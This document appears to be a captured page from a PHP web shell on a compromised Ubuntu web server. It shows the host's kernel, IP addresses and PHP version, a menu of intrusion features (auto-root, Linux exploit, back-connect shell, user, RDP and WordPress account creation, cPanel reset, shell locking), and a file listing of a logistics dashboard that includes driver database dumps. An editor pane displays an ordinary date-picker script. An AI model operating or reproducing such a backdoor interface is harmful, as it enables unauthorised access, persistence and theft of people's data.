Linux ip-172-31-29-64 6.8.0-1050-aws #53~22.04.1-Ubuntu SMP Fri Mar 13 21:34:27 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
: 172.31.29.64 | : 216.73.216.137
Cant Read [ /etc/named.conf ]
5.6.40-77+ubuntu22.04.1+deb.sury.org+1
ubuntu
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
dashboard.maalgaadi /
public /
script /
[ HOME SHELL ]
Name
Size
Permission
Action
SweetAlert.js
1.02
KB
-rwxrwxr-x
angular-cookies.min.js
1.41
KB
-rwxrwxr-x
angular-password.min.js
818
B
-rwxrwxr-x
angular-sanitize.min.js
4.45
KB
-rwxrwxr-x
angular-sanitize.min.js.map
9.87
KB
-rwxrwxr-x
angular-touch.min.js
3.22
KB
-rwxrwxr-x
angular-touch.min.js.map
8.55
KB
-rwxrwxr-x
angularjs-datetime-picker.js
15.68
KB
-rwxrwxr-x
animation.js
318
B
-rwxrwxr-x
bootstrap-hover-dropdown.js
3.14
KB
-rwxrwxr-x
bootstrap.min.js
28.43
KB
-rwxrwxr-x
charts-chartjs.js
4.01
KB
-rwxrwxr-x
charts-flotchart.js
13.45
KB
-rwxrwxr-x
charts-highchart-area.js
14.85
KB
-rwxrwxr-x
charts-highchart-column-bar.js
15.11
KB
-rwxrwxr-x
charts-highchart-combinations....
8.05
KB
-rwxrwxr-x
charts-highchart-dynamic.js
21.67
KB
-rwxrwxr-x
charts-highchart-line.js
26.61
KB
-rwxrwxr-x
charts-highchart-more.js
34.27
KB
-rwxrwxr-x
charts-highchart-pie.js
9.13
KB
-rwxrwxr-x
charts-highchart-scatter-bubbl...
13.41
KB
-rwxrwxr-x
custom.min.js
2.08
KB
-rwxrwxr-x
data.js
4.34
KB
-rwxrwxr-x
datePicker.js
10.19
KB
-rwxrwxr-x
datePickerUtils.js
7.2
KB
-rwxrwxr-x
dateRange.js
2.52
KB
-rwxrwxr-x
datetime-picker.min.js
14.95
KB
-rwxrwxr-x
drilldown.js
5.47
KB
-rwxrwxr-x
driver_wallet.sql
1.95
KB
-rwxrwxr-x
drivers.sql
223.22
KB
-rwxrwxr-x
exporting.js
7.15
KB
-rwxrwxr-x
funnel.js
1.92
KB
-rwxrwxr-x
highchart.js
142.95
KB
-rwxrwxr-x
highcharts-more.js
21.87
KB
-rwxrwxr-x
highcharts.js
148.69
KB
-rwxrwxr-x
holder.js
12.13
KB
-rwxrwxr-x
html5shiv.js
2.37
KB
-rwxrwxr-x
icheck.min.js
4.82
KB
-rwxrwxr-x
index.js
5.5
KB
-rwxrwxr-x
input.js
8.15
KB
-rwxrwxr-x
jplist.js
6.65
KB
-rwxrwxr-x
jplist.min.js
89.67
KB
-rwxrwxr-x
jquery-1.10.2.min.js
90.92
KB
-rwxrwxr-x
jquery-migrate-1.2.1.min.js
7.03
KB
-rwxrwxr-x
jquery-ui.js
580.51
KB
-rwxrwxr-x
jquery.cookie.js
2.99
KB
-rwxrwxr-x
jquery.easy-autocomplete.min.j...
15.45
KB
-rwxrwxr-x
jquery.flot.categories.js
5.89
KB
-rwxrwxr-x
jquery.flot.fillbetween.js
5.13
KB
-rwxrwxr-x
jquery.flot.js
96.53
KB
-rwxrwxr-x
jquery.flot.pie.js
23.06
KB
-rwxrwxr-x
jquery.flot.resize.js
3.1
KB
-rwxrwxr-x
jquery.flot.spline.js
5.3
KB
-rwxrwxr-x
jquery.flot.stack.js
6.92
KB
-rwxrwxr-x
jquery.flot.tooltip.js
13
KB
-rwxrwxr-x
jquery.menu.js
2.06
KB
-rwxrwxr-x
jquery.metisMenu.js
1.54
KB
-rwxrwxr-x
jquery.nestable.js
17.54
KB
-rwxrwxr-x
jquery.news-ticker.js
22.79
KB
-rwxrwxr-x
jquery.slimscroll.js
13.22
KB
-rwxrwxr-x
logo.png
80.25
KB
-rwxrwxr-x
main.js
12.29
KB
-rwxrwxr-x
modernizr.min.js
15.05
KB
-rwxrwxr-x
moment-timezone-with-data.js
183.64
KB
-rwxrwxr-x
moment.min.js
34.58
KB
-rwxrwxr-x
ngPrint.min.js
610
B
-rwxrwxr-x
notify.js
21
KB
-rwxrwxr-x
notify.min.js
887
B
-rwxrwxr-x
oms.min.js
7.06
KB
-rwxrwxr-x
pace.min.js
11.77
KB
-rwxrwxr-x
respond.min.js
3.95
KB
-rwxrwxr-x
responsive-tabs.js
4.86
KB
-rwxrwxr-x
socket.io.js
72.91
KB
-rwxrwxr-x
sweet-alert.min.js
9.5
KB
-rwxrwxr-x
ui-bootstrap-tpls.js
252.48
KB
-rwxrwxr-x
ui-nestable-list.js
1.13
KB
-rwxrwxr-x
zabuto_calendar.min.js
9.41
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : datePicker.js
'use strict'; var Module = angular.module('datePicker', []); Module.constant('datePickerConfig', { template: 'templates/datepicker.html', view: 'month', views: ['year', 'month', 'date', 'hours', 'minutes'], momentNames: { year: 'year', month: 'month', date: 'day', hours: 'hours', minutes: 'minutes', }, viewConfig: { year: ['years', 'isSameYear'], month: ['months', 'isSameMonth'], hours: ['hours', 'isSameHour'], minutes: ['minutes', 'isSameMinutes'], }, step: 5 }); //Moment format filter. Module.filter('mFormat', function () { return function (m, format, tz) { if (!(moment.isMoment(m))) { return moment(m).format(format); } return tz ? moment.tz(m, tz).format(format) : m.format(format); }; }); Module.directive('datePicker', ['datePickerConfig', 'datePickerUtils', function datePickerDirective(datePickerConfig, datePickerUtils) { //noinspection JSUnusedLocalSymbols return { // this is a bug ? require: '?ngModel', template: '<div ng-include="template"></div>', scope: { model: '=datePicker', after: '=?', before: '=?' }, link: function (scope, element, attrs, ngModel) { function prepareViews() { scope.views = datePickerConfig.views.concat(); scope.view = attrs.view || datePickerConfig.view; scope.views = scope.views.slice( scope.views.indexOf(attrs.maxView || 'year'), scope.views.indexOf(attrs.minView || 'minutes') + 1 ); if (scope.views.length === 1 || scope.views.indexOf(scope.view) === -1) { scope.view = scope.views[0]; } } function getDate(name) { return datePickerUtils.getDate(scope, attrs, name); } var arrowClick = false, tz = scope.tz = attrs.timezone, createMoment = datePickerUtils.createMoment, eventIsForPicker = datePickerUtils.eventIsForPicker, step = parseInt(attrs.step || datePickerConfig.step, 10), partial = !!attrs.partial, minDate = getDate('minDate'), maxDate = getDate('maxDate'), pickerID = element[0].id, now = scope.now = createMoment(), selected = scope.date = createMoment(scope.model || now), autoclose = attrs.autoClose === 'true', // Either gets the 1st day from the attributes, or asks moment.js to give it to us as it is localized. firstDay = attrs.firstDay && attrs.firstDay >= 0 && attrs.firstDay <= 6 ? parseInt(attrs.firstDay, 10) : moment().weekday(0).day(), setDate, prepareViewData, isSame, clipDate, isNow, inValidRange; datePickerUtils.setParams(tz, firstDay); if (!scope.model) { selected.minute(Math.ceil(selected.minute() / step) * step).second(0); } scope.template = attrs.template || datePickerConfig.template; scope.watchDirectChanges = attrs.watchDirectChanges !== undefined; scope.callbackOnSetDate = attrs.dateChange ? datePickerUtils.findFunction(scope, attrs.dateChange) : undefined; prepareViews(); scope.setView = function (nextView) { if (scope.views.indexOf(nextView) !== -1) { scope.view = nextView; } }; scope.selectDate = function (date) { if (attrs.disabled) { return false; } if (isSame(scope.date, date)) { date = scope.date; } date = clipDate(date); if (!date) { return false; } scope.date = date; var nextView = scope.views[scope.views.indexOf(scope.view) + 1]; if ((!nextView || partial) || scope.model) { setDate(date); } if (nextView) { scope.setView(nextView); } else if (autoclose) { element.addClass('hidden'); scope.$emit('hidePicker'); } else { prepareViewData(); } }; setDate = function (date) { if (date) { scope.model = date; if (ngModel) { ngModel.$setViewValue(date); } } scope.$emit('setDate', scope.model, scope.view); //This is duplicated in the new functionality. if (scope.callbackOnSetDate) { scope.callbackOnSetDate(attrs.datePicker, scope.date); } }; function update() { var view = scope.view; datePickerUtils.setParams(tz, firstDay); if (scope.model && !arrowClick) { scope.date = createMoment(scope.model); arrowClick = false; } var date = scope.date; switch (view) { case 'year': scope.years = datePickerUtils.getVisibleYears(date); break; case 'month': scope.months = datePickerUtils.getVisibleMonths(date); break; case 'date': scope.weekdays = scope.weekdays || datePickerUtils.getDaysOfWeek(); scope.weeks = datePickerUtils.getVisibleWeeks(date); break; case 'hours': scope.hours = datePickerUtils.getVisibleHours(date); break; case 'minutes': scope.minutes = datePickerUtils.getVisibleMinutes(date, step); break; } prepareViewData(); } function watch() { if (scope.view !== 'date') { return scope.view; } return scope.date ? scope.date.month() : null; } scope.$watch(watch, update); if (scope.watchDirectChanges) { scope.$watch('model', function () { arrowClick = false; update(); }); } prepareViewData = function () { var view = scope.view, date = scope.date, classes = [], classList = '', i, j; datePickerUtils.setParams(tz, firstDay); if (view === 'date') { var weeks = scope.weeks, week; for (i = 0; i < weeks.length; i++) { week = weeks[i]; classes.push([]); for (j = 0; j < week.length; j++) { classList = ''; if (datePickerUtils.isSameDay(date, week[j])) { classList += 'active'; } if (isNow(week[j], view)) { classList += ' now'; } //if (week[j].month() !== date.month()) classList += ' disabled'; if (week[j].month() !== date.month() || !inValidRange(week[j])) { classList += ' disabled'; } classes[i].push(classList); } } } else { var params = datePickerConfig.viewConfig[view], dates = scope[params[0]], compareFunc = params[1]; for (i = 0; i < dates.length; i++) { classList = ''; if (datePickerUtils[compareFunc](date, dates[i])) { classList += 'active'; } if (isNow(dates[i], view)) { classList += ' now'; } if (!inValidRange(dates[i])) { classList += ' disabled'; } classes.push(classList); } } scope.classes = classes; }; scope.next = function (delta) { var date = moment(scope.date); delta = delta || 1; switch (scope.view) { case 'year': /*falls through*/ case 'month': date.year(date.year() + delta); break; case 'date': date.month(date.month() + delta); break; case 'hours': /*falls through*/ case 'minutes': date.hours(date.hours() + delta); break; } date = clipDate(date); if (date) { scope.date = date; arrowClick = true; update(); } }; inValidRange = function (date) { var valid = true; if (minDate && minDate.isAfter(date)) { valid = isSame(minDate, date); } if (maxDate && maxDate.isBefore(date)) { valid &= isSame(maxDate, date); } return valid; }; isSame = function (date1, date2) { return date1.isSame(date2, datePickerConfig.momentNames[scope.view]) ? true : false; }; clipDate = function (date) { if (minDate && minDate.isAfter(date)) { return minDate; } else if (maxDate && maxDate.isBefore(date)) { return maxDate; } else { return date; } }; isNow = function (date, view) { var is = true; switch (view) { case 'minutes': is &= ~~(now.minutes() / step) === ~~(date.minutes() / step); /* falls through */ case 'hours': is &= now.hours() === date.hours(); /* falls through */ case 'date': is &= now.date() === date.date(); /* falls through */ case 'month': is &= now.month() === date.month(); /* falls through */ case 'year': is &= now.year() === date.year(); } return is; }; scope.prev = function (delta) { return scope.next(-delta || -1); }; if (pickerID) { scope.$on('pickerUpdate', function (event, pickerIDs, data) { if (eventIsForPicker(pickerIDs, pickerID)) { var updateViews = false, updateViewData = false; if (angular.isDefined(data.minDate)) { minDate = data.minDate ? data.minDate : false; updateViewData = true; } if (angular.isDefined(data.maxDate)) { maxDate = data.maxDate ? data.maxDate : false; updateViewData = true; } if (angular.isDefined(data.minView)) { attrs.minView = data.minView; updateViews = true; } if (angular.isDefined(data.maxView)) { attrs.maxView = data.maxView; updateViews = true; } attrs.view = data.view || attrs.view; if (updateViews) { prepareViews(); } if (updateViewData) { update(); } } }); } } }; }]);
Close